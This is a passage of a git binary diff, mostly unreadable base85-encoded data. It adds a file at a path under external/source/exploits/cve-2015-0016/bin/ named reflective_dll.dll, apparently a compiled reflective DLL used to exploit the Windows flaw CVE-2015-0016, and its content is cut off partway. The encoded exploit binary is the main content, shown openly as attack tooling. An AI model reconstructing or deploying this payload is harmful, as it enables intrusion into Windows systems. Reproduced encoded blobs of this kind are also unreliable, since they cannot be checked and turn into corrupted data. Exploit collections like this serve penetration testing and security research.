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 CmH+_& literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2015-0016/bin/reflective_dll.dll b/external/source/exploits/cve-2015-0016/bin/reflective_dll.dll new file mode 100755 index 0000000000000000000000000000000000000000..2d2f1dbba3fb6fecf1824311cedf084f2b4c19ae GIT binary patch literal 83456 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 